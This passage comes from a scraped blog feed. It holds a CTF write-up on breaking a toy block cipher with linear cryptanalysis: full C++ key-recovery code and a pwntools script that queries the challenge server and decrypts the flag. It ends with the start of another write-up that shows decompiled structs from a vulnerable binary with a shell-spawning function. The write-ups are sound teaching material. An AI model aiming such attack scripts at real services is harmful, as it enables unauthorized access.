(00101111, 00001110) 0.1015625 (00101110, 00001111) 0.1015625 (00101110, 00001110) 0.1015625 (00101101, 00001101) 0.1015625 (00101101, 00001100) 0.1015625 (00101100, 00001101) 0.1015625 (00101100, 00001100) 0.1015625 (00101011, 00001011) 0.1015625 (00101011, 00001010) 0.1015625 (00101010, 00001011) 0.1015625 (00101010, 00001010) 0.1015625 (00101001, 00001001) 0.1015625 (00101001, 00001000) 0.1015625 (00101000, 00001001) 0.1015625 (00101000, 00001000) 0.1015625 (00001111, 11010011) 0.1015625 (00001110, 11010010) 0.1015625 (00001101, 11010001) 0.1015625 (00001100, 11010000) 0.1015625 (00001011, 11010111) 0.1015625 (00001010, 11010110) 0.1015625 (00001001, 11010101) 0.1015625 (00001000, 11010100) There are several approximations that involve few bits and have a bias of at least 0.1. If we can concatenate some of them together, we would be able to construct an approximation for the whole cipher with a bias that can be detected with some thousands of known plaintexts. After hours of staring at my hand-drawn diagram of the cipher, I was able to construct approximations involving the plaintext bits and each of the input bytes for the last layer of sboxes. This lets us recover the last round key, since we can guess each of the bytes and the approximations will only have high bias if our guess is correct. I wrote my code in C++ and made Python bindings with pybind since I thought that I might have to guess multiple bytes at a time, but that turned out to not be necessary.\n#include &lt;algorithm&gt; #include &lt;array&gt; #include &lt;cmath&gt; #include &lt;cstdint&gt; #include &lt;optional&gt; #include &lt;sstream&gt; #include &lt;stdexcept&gt; #include &lt;utility&gt; #include &lt;vector&gt; #include &lt;pybind11\/pybind11.h&gt; #include &lt;pybind11\/stl.h&gt; namespace { using u8 = uint8_t; using u32 = uint32_t; using Key = std::array&lt;u32, 5&gt;; constexpr u8 sbox[256] = { 32, 1, 82, 147, 4, 165, 198, 95, 56, 9, 138, 59, 12, 93, 142, 55, 8, 33, 42, 203, 100, 77, 230, 103, 136, 41, 162, 131, 44, 101, 46, 7, 176, 25, 114, 3, 28, 37, 30, 79, 0, 113, 98, 171, 20, 125, 118, 111, 40, 169, 26, 91, 196, 69, 150, 15, 48, 145, 18, 99, 156, 117, 166, 71, 16, 97, 90, 19, 140, 29, 78, 63, 160, 185, 74, 51, 148, 45, 126, 151, 88, 225, 170, 11, 84, 53, 22, 87, 224, 153, 218, 43, 52, 197, 94, 47, 168, 161, 34, 227, 76, 141, 174, 23, 128, 49, 154, 67, 60, 205, 70, 31, 120, 249, 66, 155, 236, 181, 62, 143, 152, 57, 2, 219, 36, 157, 54, 223, 112, 241, 146, 179, 68, 21, 6, 39, 72, 209, 122, 187, 252, 5, 214, 199, 144, 129, 130, 107, 180, 237, 246, 119, 24, 105, 106, 83, 220, 13, 158, 239, 104, 73, 250, 115, 164, 85, 110, 135, 208, 89, 50, 139, 108, 173, 14, 215, 184, 81, 234, 35, 92, 149, 238, 127, 64, 17, 178, 243, 228, 253, 86, 159, 240, 233, 226, 235, 116, 245, 102, 183, 232, 177, 194, 251, 124, 61, 190, 191, 216, 137, 58, 123, 132, 229, 134, 247, 192, 65, 210, 163, 172, 189, 38, 231, 200, 193, 10, 195, 244, 133, 222, 167, 96, 201, 186, 211, 204, 213, 182, 207, 80, 217, 202, 27, 188, 109, 206, 255, 248, 121, 242, 75, 212, 221, 254, 175}; constexpr u8 inv_sbox[256] = { 40, 1, 122, 35, 4, 141, 134, 31, 16, 9, 226, 83, 12, 157, 174, 55, 64, 185, 58, 67, 44, 133, 86, 103, 152, 33, 50, 243, 36, 69, 38, 111, 0, 17, 98, 179, 124, 37, 222, 135, 48, 25, 18, 91, 28, 77, 30, 95, 56, 105, 170, 75, 92, 85, 126, 15, 8, 121, 210, 11, 108, 205, 118, 71, 184, 217, 114, 107, 132, 53, 110, 63, 136, 161, 74, 251, 100, 21, 70, 39, 240, 177, 2, 155, 84, 165, 190, 87, 80, 169, 66, 51, 180, 13, 94, 7, 232, 65, 42, 59, 20, 29, 198, 23, 160, 153, 154, 147, 172, 245, 166, 47, 128, 41, 34, 163, 196, 61, 46, 151, 112, 249, 138, 211, 204, 45, 78, 183, 104, 145, 146, 27, 212, 229, 214, 167, 24, 209, 10, 171, 68, 101, 14, 119, 144, 57, 130, 3, 76, 181, 54, 79, 120, 89, 106, 115, 60, 125, 158, 191, 72, 97, 26, 219, 164, 5, 62, 231, 96, 49, 82, 43, 220, 173, 102, 255, 32, 201, 186, 131, 148, 117, 238, 199, 176, 73, 234, 139, 244, 221, 206, 207, 216, 225, 202, 227, 52, 93, 6, 143, 224, 233, 242, 19, 236, 109, 246, 239, 168, 137, 218, 235, 252, 237, 142, 175, 208, 241, 90, 123, 156, 253, 230, 127, 88, 81, 194, 99, 188, 213, 22, 223, 200, 193, 178, 195, 116, 149, 182, 159, 192, 129, 250, 187, 228, 197, 150, 215, 248, 113, 162, 203, 140, 189, 254, 247}; u32 sub(const u32 x) { u32 y = 0; for (auto i = 0; i &lt; 32; i += 8) { y |= static_cast&lt;u32&gt;(sbox[x &gt;&gt; i &amp; 0xff]) &lt;&lt; i; } return y; } u32 inv_sub(const u32 x) { u32 y = 0; for (auto i = 0; i &lt; 32; i += 8) { y |= static_cast&lt;u32&gt;(inv_sbox[x &gt;&gt; i &amp; 0xff]) &lt;&lt; i; } return y; } u32 shuffle_bits(const u32 x) { u32 y = 0; for (auto i = 0; i &lt; 4; ++i) { for (auto j = 0; j &lt; 8; ++j) { y |= (x &gt;&gt; (i * 8 + j) &amp; 1) &lt;&lt; (j * 4 + i); } } return y; } u32 inv_shuffle_bits(const u32 x) { u32 y = 0; for (auto i = 0; i &lt; 8; ++i) { for (auto j = 0; j &lt; 4; ++j) { y |= (x &gt;&gt; (i * 4 + j) &amp; 1) &lt;&lt; (j * 8 + i); } } return y; } u8 unshuffle_byte(const u32 x, const int byte_index) { u8 y = 0; for (auto i = 0; i &lt; 8; ++i) { y |= (x &gt;&gt; (i * 4 + byte_index) &amp; 1) &lt;&lt; i; } return y; } using Data = std::vector&lt;std::pair&lt;u32, u32&gt;&gt;; using Check = bool (*)(u32, u32, u8); double compute_bias(const Data &amp;data, const Check check, const u8 k) { std::size_t count = 0; for (const auto &amp;d : data) { if (check(d.first, d.second, k)) { ++count; } } const auto prob = static_cast&lt;double&gt;(count) \/ data.size(); return std::abs(prob - 0.5); } u8 recover_byte(const Data &amp;data, const Check check) { double max_bias = 0; u8 best_k = 0; for (u8 k = 0;; ++k) { const auto b = compute_bias(data, check, k); if (b &gt; max_bias) { max_bias = b; best_k = k; } if (k == 255) { break; } } return best_k; } bool check4_0(const u32 pt, const u32 ct, const u8 k) { const bool p2 = pt &gt;&gt; 2 &amp; 1; const auto ub3_0 = inv_sbox[(ct &amp; 0xff) ^ k]; const bool u3_4 = ub3_0 &gt;&gt; 4 &amp; 1; return p2 != u3_4; } bool check4_1(const u32 pt, const u32 ct, const u8 k) { const bool p8 = pt &gt;&gt; 8 &amp; 1, p15 = pt &gt;&gt; 15 &amp; 1; const auto ub3_1 = inv_sbox[(ct &gt;&gt; 8 &amp; 0xff) ^ k]; const bool u3_8 = ub3_1 &amp; 1, u3_12 = ub3_1 &gt;&gt; 4 &amp; 1; return (p8 != p15) != (u3_8 != u3_12); } bool check4_2(const u32 pt, const u32 ct, const u8 k) { const bool p0 = pt &amp; 1, p2 = pt &gt;&gt; 2 &amp; 1, p15 = pt &gt;&gt; 15 &amp; 1; const auto ub3_2 = inv_sbox[(ct &gt;&gt; 16 &amp; 0xff) ^ k]; const bool u3_16 = ub3_2 &amp; 1, u3_20 = ub3_2 &gt;&gt; 4 &amp; 1, u3_24 = ct &gt;&gt; 24 &amp; 1; return ((p0 != p2) != p15) != ((u3_16 != u3_20) != u3_24); } bool check4_3(const u32 pt, const u32 ct, const u8 k) { const bool p15 = pt &gt;&gt; 15 &amp; 1; const auto ub3_3 = inv_sbox[(ct &gt;&gt; 24 &amp; 0xff) ^ k]; const bool u3_28 = ub3_3 &gt;&gt; 4 &amp; 1; return p15 != u3_28; } u32 recover4(const Data &amp;data) { return static_cast&lt;u32&gt;(recover_byte(data, check4_0)) | static_cast&lt;u32&gt;(recover_byte(data, check4_1)) &lt;&lt; 8 | static_cast&lt;u32&gt;(recover_byte(data, check4_2)) &lt;&lt; 16 | static_cast&lt;u32&gt;(recover_byte(data, check4_3)) &lt;&lt; 24; } I used 32-bit unsigned ints to store blocks, and std::vector&lt;std::pair&lt;u32, u32&gt;&gt; to store pairs of known plaintexts and corresponding ciphertexts. Once I recovered the last round key, I can decrypt the last round:\nconst auto k4 = recover4(data); for (auto &amp;p : data) { p.second = inv_sub(p.second ^ k4); } Then I just have to repeat this for the other rounds:\nbool check3_0(const u32 pt, const u32 ct, const u8 k) { const bool p8 = pt &gt;&gt; 8 &amp; 1; const auto ub2_0 = inv_sbox[unshuffle_byte(ct, 0) ^ k]; const bool u2_4 = ub2_0 &gt;&gt; 4; return p8 != u2_4; } bool check3_1(const u32 pt, const u32 ct, const u8 k) { const bool p1 = pt &gt;&gt; 1 &amp; 1, p25 = pt &gt;&gt; 25 &amp; 1; const auto ub2_1 = inv_sbox[unshuffle_byte(ct, 1) ^ k]; const bool u2_8 = ub2_1 &amp; 1, u2_12 = ub2_1 &gt;&gt; 4 &amp; 1; return (p1 != p25) != (u2_8 != u2_12); } bool check3_2(const u32 pt, const u32 ct, const u8 k) { const bool p0 = pt &amp; 1, p8 = pt &gt;&gt; 8 &amp; 1, p25 = pt &gt;&gt; 25 &amp; 1; const auto ub2_2 = inv_sbox[unshuffle_byte(ct, 2) ^ k]; const bool u2_16 = ub2_2 &amp; 1, u2_20 = ub2_2 &gt;&gt; 4 &amp; 1, u2_24 = ct &gt;&gt; 3 &amp; 1; return ((p0 != p8) != p25) != ((u2_16 != u2_20) != u2_24); } bool check3_3(const u32 pt, const u32 ct, const u8 k) { const bool p25 = pt &gt;&gt; 25 &amp; 1; const auto ub2_3 = inv_sbox[unshuffle_byte(ct, 3) ^ k]; const bool u2_28 = ub2_3 &gt;&gt; 4 &amp; 1; return p25 != u2_28; } u32 recover3(const Data &amp;data) { return shuffle_bits(static_cast&lt;u32&gt;(recover_byte(data, check3_0)) | static_cast&lt;u32&gt;(recover_byte(data, check3_1)) &lt;&lt; 8 | static_cast&lt;u32&gt;(recover_byte(data, check3_2)) &lt;&lt; 16 | static_cast&lt;u32&gt;(recover_byte(data, check3_3)) &lt;&lt; 24); } bool check2_0(const u32 pt, const u32 ct, const u8 k) { const bool p1 = pt &gt;&gt; 1 &amp; 1; const auto ub1_0 = inv_sbox[unshuffle_byte(ct, 0) ^ k]; const bool u1_4 = ub1_0 &gt;&gt; 4 &amp; 1; return p1 != u1_4; } bool check2_1(const u32 pt, const u32 ct, const u8 k) { const bool p4 = pt &gt;&gt; 4 &amp; 1, p7 = pt &gt;&gt; 7 &amp; 1; const auto ub1_1 = inv_sbox[unshuffle_byte(ct, 1) ^ k]; const bool u1_8 = ub1_1 &amp; 1, u1_12 = ub1_1 &gt;&gt; 4 &amp; 1; return (p4 != p7) != (u1_8 != u1_12); } bool check2_2(const u32 pt, const u32 ct, const u8 k) { const bool p0 = pt &amp; 1, p1 = pt &gt;&gt; 1 &amp; 1, p7 = pt &gt;&gt; 7 &amp; 1; const auto ub1_2 = inv_sbox[unshuffle_byte(ct, 2) ^ k]; const bool u1_16 = ub1_2 &amp; 1, u1_20 = ub1_2 &gt;&gt; 4 &amp; 1, u1_24 = ct &gt;&gt; 3 &amp; 1; return ((p0 != p1) != p7) != ((u1_16 != u1_20) != u1_24); } bool check2_3(const u32 pt, const u32 ct, const u8 k) { const bool p31 = pt &gt;&gt; 31 &amp; 1; const auto ub1_3 = inv_sbox[unshuffle_byte(ct, 3) ^ k]; const bool u1_31 = ub1_3 &gt;&gt; 7 &amp; 1; return p31 != u1_31; } u32 recover2(const Data &amp;data) { return shuffle_bits(static_cast&lt;u32&gt;(recover_byte(data, check2_0)) | static_cast&lt;u32&gt;(recover_byte(data, check2_1)) &lt;&lt; 8 | static_cast&lt;u32&gt;(recover_byte(data, check2_2)) &lt;&lt; 16 | static_cast&lt;u32&gt;(recover_byte(data, check2_3)) &lt;&lt; 24); } u8 recover_byte0(const u32 pt, const u32 ct, const int byte_index, const u8 kb1) { u8 pb = pt &gt;&gt; (byte_index * 8) &amp; 0xff; auto ub0 = inv_sbox[unshuffle_byte(ct, byte_index) ^ kb1]; return pb ^ ub0; } std::optional&lt;u8&gt; check1(const Data &amp;data, const int byte_index, const u8 kb1) { const auto kb0 = recover_byte0(data.front().first, data.front().second, byte_index, kb1); if (!std::all_of(data.begin() + 1, data.end(), [&amp;](const auto &amp;p) { return recover_byte0(p.first, p.second, byte_index, kb1) == kb0; })) { return {}; } return kb0; } std::pair&lt;u8, u8&gt; recover_byte0_1(const Data &amp;data, const int byte_index) { for (u8 kb1 = 0;; ++kb1) { if (const auto result = check1(data, byte_index, kb1)) { return {*result, kb1}; } if (kb1 == 255) { break; } } std::ostringstream ss; ss &lt;&lt; &#34;failed to recover byte &#34; &lt;&lt; byte_index &lt;&lt; &#34; of the first round key&#34;; throw std::invalid_argument(ss.str()); } std::pair&lt;u32, u32&gt; recover0_1(const Data &amp;data) { u32 k0 = 0, unshuffled_k1 = 0; for (auto i = 0; i &lt; 4; ++i) { auto result = recover_byte0_1(data, i); k0 |= static_cast&lt;u32&gt;(result.first) &lt;&lt; (i * 8); unshuffled_k1 |= static_cast&lt;u32&gt;(result.second) &lt;&lt; (i * 8); } return {k0, shuffle_bits(unshuffled_k1)}; } Key recover_key(Data data) { if (data.empty()) { throw std::invalid_argument(&#34;data is empty&#34;); } const auto k4 = recover4(data); for (auto &amp;p : data) { p.second = inv_sub(p.second ^ k4); } const auto k3 = recover3(data); for (auto &amp;p : data) { p.second = inv_sub(inv_shuffle_bits(p.second ^ k3)); } const auto k2 = recover2(data); for (auto &amp;p : data) { p.second = inv_sub(inv_shuffle_bits(p.second ^ k2)); } const auto k0_1 = recover0_1(data); return {k0_1.first, k0_1.second, k2, k3, k4}; } After recovering the key, we can decrypt the challenge ciphertext and obtain the flag. I found that the attack requires around 30,000 known plaintexts to work reliably. Here&rsquo;s the full C++ code:\n#include &lt;algorithm&gt; #include &lt;array&gt; #include &lt;cmath&gt; #include &lt;cstdint&gt; #include &lt;optional&gt; #include &lt;sstream&gt; #include &lt;stdexcept&gt; #include &lt;utility&gt; #include &lt;vector&gt; #include &lt;pybind11\/pybind11.h&gt; #include &lt;pybind11\/stl.h&gt; namespace { using u8 = uint8_t; using u32 = uint32_t; using Key = std::array&lt;u32, 5&gt;; constexpr u8 sbox[256] = { 32, 1, 82, 147, 4, 165, 198, 95, 56, 9, 138, 59, 12, 93, 142, 55, 8, 33, 42, 203, 100, 77, 230, 103, 136, 41, 162, 131, 44, 101, 46, 7, 176, 25, 114, 3, 28, 37, 30, 79, 0, 113, 98, 171, 20, 125, 118, 111, 40, 169, 26, 91, 196, 69, 150, 15, 48, 145, 18, 99, 156, 117, 166, 71, 16, 97, 90, 19, 140, 29, 78, 63, 160, 185, 74, 51, 148, 45, 126, 151, 88, 225, 170, 11, 84, 53, 22, 87, 224, 153, 218, 43, 52, 197, 94, 47, 168, 161, 34, 227, 76, 141, 174, 23, 128, 49, 154, 67, 60, 205, 70, 31, 120, 249, 66, 155, 236, 181, 62, 143, 152, 57, 2, 219, 36, 157, 54, 223, 112, 241, 146, 179, 68, 21, 6, 39, 72, 209, 122, 187, 252, 5, 214, 199, 144, 129, 130, 107, 180, 237, 246, 119, 24, 105, 106, 83, 220, 13, 158, 239, 104, 73, 250, 115, 164, 85, 110, 135, 208, 89, 50, 139, 108, 173, 14, 215, 184, 81, 234, 35, 92, 149, 238, 127, 64, 17, 178, 243, 228, 253, 86, 159, 240, 233, 226, 235, 116, 245, 102, 183, 232, 177, 194, 251, 124, 61, 190, 191, 216, 137, 58, 123, 132, 229, 134, 247, 192, 65, 210, 163, 172, 189, 38, 231, 200, 193, 10, 195, 244, 133, 222, 167, 96, 201, 186, 211, 204, 213, 182, 207, 80, 217, 202, 27, 188, 109, 206, 255, 248, 121, 242, 75, 212, 221, 254, 175}; constexpr u8 inv_sbox[256] = { 40, 1, 122, 35, 4, 141, 134, 31, 16, 9, 226, 83, 12, 157, 174, 55, 64, 185, 58, 67, 44, 133, 86, 103, 152, 33, 50, 243, 36, 69, 38, 111, 0, 17, 98, 179, 124, 37, 222, 135, 48, 25, 18, 91, 28, 77, 30, 95, 56, 105, 170, 75, 92, 85, 126, 15, 8, 121, 210, 11, 108, 205, 118, 71, 184, 217, 114, 107, 132, 53, 110, 63, 136, 161, 74, 251, 100, 21, 70, 39, 240, 177, 2, 155, 84, 165, 190, 87, 80, 169, 66, 51, 180, 13, 94, 7, 232, 65, 42, 59, 20, 29, 198, 23, 160, 153, 154, 147, 172, 245, 166, 47, 128, 41, 34, 163, 196, 61, 46, 151, 112, 249, 138, 211, 204, 45, 78, 183, 104, 145, 146, 27, 212, 229, 214, 167, 24, 209, 10, 171, 68, 101, 14, 119, 144, 57, 130, 3, 76, 181, 54, 79, 120, 89, 106, 115, 60, 125, 158, 191, 72, 97, 26, 219, 164, 5, 62, 231, 96, 49, 82, 43, 220, 173, 102, 255, 32, 201, 186, 131, 148, 117, 238, 199, 176, 73, 234, 139, 244, 221, 206, 207, 216, 225, 202, 227, 52, 93, 6, 143, 224, 233, 242, 19, 236, 109, 246, 239, 168, 137, 218, 235, 252, 237, 142, 175, 208, 241, 90, 123, 156, 253, 230, 127, 88, 81, 194, 99, 188, 213, 22, 223, 200, 193, 178, 195, 116, 149, 182, 159, 192, 129, 250, 187, 228, 197, 150, 215, 248, 113, 162, 203, 140, 189, 254, 247}; u32 sub(const u32 x) { u32 y = 0; for (auto i = 0; i &lt; 32; i += 8) { y |= static_cast&lt;u32&gt;(sbox[x &gt;&gt; i &amp; 0xff]) &lt;&lt; i; } return y; } u32 inv_sub(const u32 x) { u32 y = 0; for (auto i = 0; i &lt; 32; i += 8) { y |= static_cast&lt;u32&gt;(inv_sbox[x &gt;&gt; i &amp; 0xff]) &lt;&lt; i; } return y; } u32 shuffle_bits(const u32 x) { u32 y = 0; for (auto i = 0; i &lt; 4; ++i) { for (auto j = 0; j &lt; 8; ++j) { y |= (x &gt;&gt; (i * 8 + j) &amp; 1) &lt;&lt; (j * 4 + i); } } return y; } u32 inv_shuffle_bits(const u32 x) { u32 y = 0; for (auto i = 0; i &lt; 8; ++i) { for (auto j = 0; j &lt; 4; ++j) { y |= (x &gt;&gt; (i * 4 + j) &amp; 1) &lt;&lt; (j * 8 + i); } } return y; } u8 unshuffle_byte(const u32 x, const int byte_index) { u8 y = 0; for (auto i = 0; i &lt; 8; ++i) { y |= (x &gt;&gt; (i * 4 + byte_index) &amp; 1) &lt;&lt; i; } return y; } using Data = std::vector&lt;std::pair&lt;u32, u32&gt;&gt;; using Check = bool (*)(u32, u32, u8); double compute_bias(const Data &amp;data, const Check check, const u8 k) { std::size_t count = 0; for (const auto &amp;d : data) { if (check(d.first, d.second, k)) { ++count; } } const auto prob = static_cast&lt;double&gt;(count) \/ data.size(); return std::abs(prob - 0.5); } u8 recover_byte(const Data &amp;data, const Check check) { double max_bias = 0; u8 best_k = 0; for (u8 k = 0;; ++k) { const auto b = compute_bias(data, check, k); if (b &gt; max_bias) { max_bias = b; best_k = k; } if (k == 255) { break; } } return best_k; } bool check4_0(const u32 pt, const u32 ct, const u8 k) { const bool p2 = pt &gt;&gt; 2 &amp; 1; const auto ub3_0 = inv_sbox[(ct &amp; 0xff) ^ k]; const bool u3_4 = ub3_0 &gt;&gt; 4 &amp; 1; return p2 != u3_4; } bool check4_1(const u32 pt, const u32 ct, const u8 k) { const bool p8 = pt &gt;&gt; 8 &amp; 1, p15 = pt &gt;&gt; 15 &amp; 1; const auto ub3_1 = inv_sbox[(ct &gt;&gt; 8 &amp; 0xff) ^ k]; const bool u3_8 = ub3_1 &amp; 1, u3_12 = ub3_1 &gt;&gt; 4 &amp; 1; return (p8 != p15) != (u3_8 != u3_12); } bool check4_2(const u32 pt, const u32 ct, const u8 k) { const bool p0 = pt &amp; 1, p2 = pt &gt;&gt; 2 &amp; 1, p15 = pt &gt;&gt; 15 &amp; 1; const auto ub3_2 = inv_sbox[(ct &gt;&gt; 16 &amp; 0xff) ^ k]; const bool u3_16 = ub3_2 &amp; 1, u3_20 = ub3_2 &gt;&gt; 4 &amp; 1, u3_24 = ct &gt;&gt; 24 &amp; 1; return ((p0 != p2) != p15) != ((u3_16 != u3_20) != u3_24); } bool check4_3(const u32 pt, const u32 ct, const u8 k) { const bool p15 = pt &gt;&gt; 15 &amp; 1; const auto ub3_3 = inv_sbox[(ct &gt;&gt; 24 &amp; 0xff) ^ k]; const bool u3_28 = ub3_3 &gt;&gt; 4 &amp; 1; return p15 != u3_28; } u32 recover4(const Data &amp;data) { return static_cast&lt;u32&gt;(recover_byte(data, check4_0)) | static_cast&lt;u32&gt;(recover_byte(data, check4_1)) &lt;&lt; 8 | static_cast&lt;u32&gt;(recover_byte(data, check4_2)) &lt;&lt; 16 | static_cast&lt;u32&gt;(recover_byte(data, check4_3)) &lt;&lt; 24; } bool check3_0(const u32 pt, const u32 ct, const u8 k) { const bool p8 = pt &gt;&gt; 8 &amp; 1; const auto ub2_0 = inv_sbox[unshuffle_byte(ct, 0) ^ k]; const bool u2_4 = ub2_0 &gt;&gt; 4; return p8 != u2_4; } bool check3_1(const u32 pt, const u32 ct, const u8 k) { const bool p1 = pt &gt;&gt; 1 &amp; 1, p25 = pt &gt;&gt; 25 &amp; 1; const auto ub2_1 = inv_sbox[unshuffle_byte(ct, 1) ^ k]; const bool u2_8 = ub2_1 &amp; 1, u2_12 = ub2_1 &gt;&gt; 4 &amp; 1; return (p1 != p25) != (u2_8 != u2_12); } bool check3_2(const u32 pt, const u32 ct, const u8 k) { const bool p0 = pt &amp; 1, p8 = pt &gt;&gt; 8 &amp; 1, p25 = pt &gt;&gt; 25 &amp; 1; const auto ub2_2 = inv_sbox[unshuffle_byte(ct, 2) ^ k]; const bool u2_16 = ub2_2 &amp; 1, u2_20 = ub2_2 &gt;&gt; 4 &amp; 1, u2_24 = ct &gt;&gt; 3 &amp; 1; return ((p0 != p8) != p25) != ((u2_16 != u2_20) != u2_24); } bool check3_3(const u32 pt, const u32 ct, const u8 k) { const bool p25 = pt &gt;&gt; 25 &amp; 1; const auto ub2_3 = inv_sbox[unshuffle_byte(ct, 3) ^ k]; const bool u2_28 = ub2_3 &gt;&gt; 4 &amp; 1; return p25 != u2_28; } u32 recover3(const Data &amp;data) { return shuffle_bits(static_cast&lt;u32&gt;(recover_byte(data, check3_0)) | static_cast&lt;u32&gt;(recover_byte(data, check3_1)) &lt;&lt; 8 | static_cast&lt;u32&gt;(recover_byte(data, check3_2)) &lt;&lt; 16 | static_cast&lt;u32&gt;(recover_byte(data, check3_3)) &lt;&lt; 24); } bool check2_0(const u32 pt, const u32 ct, const u8 k) { const bool p1 = pt &gt;&gt; 1 &amp; 1; const auto ub1_0 = inv_sbox[unshuffle_byte(ct, 0) ^ k]; const bool u1_4 = ub1_0 &gt;&gt; 4 &amp; 1; return p1 != u1_4; } bool check2_1(const u32 pt, const u32 ct, const u8 k) { const bool p4 = pt &gt;&gt; 4 &amp; 1, p7 = pt &gt;&gt; 7 &amp; 1; const auto ub1_1 = inv_sbox[unshuffle_byte(ct, 1) ^ k]; const bool u1_8 = ub1_1 &amp; 1, u1_12 = ub1_1 &gt;&gt; 4 &amp; 1; return (p4 != p7) != (u1_8 != u1_12); } bool check2_2(const u32 pt, const u32 ct, const u8 k) { const bool p0 = pt &amp; 1, p1 = pt &gt;&gt; 1 &amp; 1, p7 = pt &gt;&gt; 7 &amp; 1; const auto ub1_2 = inv_sbox[unshuffle_byte(ct, 2) ^ k]; const bool u1_16 = ub1_2 &amp; 1, u1_20 = ub1_2 &gt;&gt; 4 &amp; 1, u1_24 = ct &gt;&gt; 3 &amp; 1; return ((p0 != p1) != p7) != ((u1_16 != u1_20) != u1_24); } bool check2_3(const u32 pt, const u32 ct, const u8 k) { const bool p31 = pt &gt;&gt; 31 &amp; 1; const auto ub1_3 = inv_sbox[unshuffle_byte(ct, 3) ^ k]; const bool u1_31 = ub1_3 &gt;&gt; 7 &amp; 1; return p31 != u1_31; } u32 recover2(const Data &amp;data) { return shuffle_bits(static_cast&lt;u32&gt;(recover_byte(data, check2_0)) | static_cast&lt;u32&gt;(recover_byte(data, check2_1)) &lt;&lt; 8 | static_cast&lt;u32&gt;(recover_byte(data, check2_2)) &lt;&lt; 16 | static_cast&lt;u32&gt;(recover_byte(data, check2_3)) &lt;&lt; 24); } u8 recover_byte0(const u32 pt, const u32 ct, const int byte_index, const u8 kb1) { u8 pb = pt &gt;&gt; (byte_index * 8) &amp; 0xff; auto ub0 = inv_sbox[unshuffle_byte(ct, byte_index) ^ kb1]; return pb ^ ub0; } std::optional&lt;u8&gt; check1(const Data &amp;data, const int byte_index, const u8 kb1) { const auto kb0 = recover_byte0(data.front().first, data.front().second, byte_index, kb1); if (!std::all_of(data.begin() + 1, data.end(), [&amp;](const auto &amp;p) { return recover_byte0(p.first, p.second, byte_index, kb1) == kb0; })) { return {}; } return kb0; } std::pair&lt;u8, u8&gt; recover_byte0_1(const Data &amp;data, const int byte_index) { for (u8 kb1 = 0;; ++kb1) { if (const auto result = check1(data, byte_index, kb1)) { return {*result, kb1}; } if (kb1 == 255) { break; } } std::ostringstream ss; ss &lt;&lt; &#34;failed to recover byte &#34; &lt;&lt; byte_index &lt;&lt; &#34; of the first round key&#34;; throw std::invalid_argument(ss.str()); } std::pair&lt;u32, u32&gt; recover0_1(const Data &amp;data) { u32 k0 = 0, unshuffled_k1 = 0; for (auto i = 0; i &lt; 4; ++i) { auto result = recover_byte0_1(data, i); k0 |= static_cast&lt;u32&gt;(result.first) &lt;&lt; (i * 8); unshuffled_k1 |= static_cast&lt;u32&gt;(result.second) &lt;&lt; (i * 8); } return {k0, shuffle_bits(unshuffled_k1)}; } } \/\/ namespace u32 encrypt_block(u32 x, const Key &amp;key) { for (auto i = 0; i &lt; 3; ++i) { x ^= key[i]; x = shuffle_bits(sub(x)); } x ^= key[3]; x = sub(x); x ^= key[4]; return x; } u32 decrypt_block(u32 x, const Key &amp;key) { x ^= key[4]; x = inv_sub(x); x ^= key[3]; for (auto i = 2; i &gt;= 0; --i) { x = inv_sub(inv_shuffle_bits(x)); x ^= key[i]; } return x; } Key recover_key(Data data) { if (data.empty()) { throw std::invalid_argument(&#34;data is empty&#34;); } const auto k4 = recover4(data); for (auto &amp;p : data) { p.second = inv_sub(p.second ^ k4); } const auto k3 = recover3(data); for (auto &amp;p : data) { p.second = inv_sub(inv_shuffle_bits(p.second ^ k3)); } const auto k2 = recover2(data); for (auto &amp;p : data) { p.second = inv_sub(inv_shuffle_bits(p.second ^ k2)); } const auto k0_1 = recover0_1(data); return {k0_1.first, k0_1.second, k2, k3, k4}; } PYBIND11_MODULE(seccom, m) { m.def(&#34;encrypt_block&#34;, &amp;encrypt_block); m.def(&#34;decrypt_block&#34;, &amp;decrypt_block); m.def(&#34;recover_key&#34;, &amp;recover_key); } And the Python code that talks to the server and handles the CBC mode decryption:\n#!\/usr\/bin\/env python3 import random from pwn import * from seccom import * def inttohex(x): return x.to_bytes(4, &#34;big&#34;).hex() def hextoint(x): return int.from_bytes(bytes.fromhex(x), &#34;big&#34;) r = remote(&#34;challs.htsp.ro&#34;, 10001) data = [] for i in range(3): pts = [] cts = [] for j in range(10000): pt = random.getrandbits(32) pts.append(pt) r.sendline(b&#34;1&#34;) r.sendline(inttohex(pt).encode()) for j in range(10000): r.recvuntil(b&#34;ct = &#34;) ct = hextoint(r.recvlineS(keepends=False)) cts.append(ct) data.extend(zip(pts, cts)) key = recover_key(data) log.info(f&#34;{key=}&#34;) r.sendlineafter(b&#34;cmd = &#34;, b&#34;2&#34;) r.recvuntil(b&#34;iv = &#34;) iv = hextoint(r.recvlineS(keepends=False)) r.recvuntil(b&#34;ct = &#34;) ct = r.recvlineS(keepends=False) ct = [hextoint(ct[i : i + 8]) for i in range(0, len(ct), 8)] pt = [decrypt_block(ct[0], key) ^ iv] + [ decrypt_block(ctb, key) ^ prev_ctb for ctb, prev_ctb in zip(ct[1:], ct[:-1]) ] r.sendlineafter(b&#34;pt = &#34;, &#34;&#34;.join(map(inttohex, pt)).encode()) r.interactive() The Python code sends 10,000 plaintexts at a time so that we don&rsquo;t waste time waiting for 30,000 round trips. The flag was something like &ldquo;differential cryptanalysis go brrr,&rdquo; so I guess the intended solution was differential cryptanalysis. I think I spent around three days on this, which is probably the most that I&rsquo;ve ever spent on a single challenge.\n","permalink":"https:\/\/www.alexyzhang.dev\/write-ups\/x-mas-ctf-2022\/secure-communications\/","summary":"Linear cryptanalysis","title":"X-MAS CTF 2022 \u2013 Secure Communications"},{"content":"The Vulnerability I reverse engineered the binary with Ghidra and got this:\nstruct event { void * function; void * arguments; struct event * next; }; struct event_add_args { int index; char * name; }; struct event_edit_args { char * name_buffer; char * new_name; }; struct event_delete_args { int index; }; struct async_add_args { int index; char * name; }; struct async_edit_args { int index; char * name; }; struct async_delete_args { int index; }; void Menu(void) { puts(&#34;1. Request gift\\n2. View accepted gifts\\n3. Edit gifts\\n4. Reject gift&#34;); return; } void Flag(void) { system(&#34;\/bin\/sh&#34;); return; } void Setup(void) { int iVar1; int *piVar2; setvbuf(stdin,(char *)0x0,2,0); setvbuf(stdout,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); iVar1 = pthread_mutex_init(&amp;g_events_lock,(pthread_mutexattr_t *)0x0); if (iVar1 != 0) { piVar2 = __errno_location(); *piVar2 = iVar1; perror(&#34;pthread_mutex_init&#34;); \/\/ WARNING: Subroutine does not return abort(); } return; } void TearDown(void) { 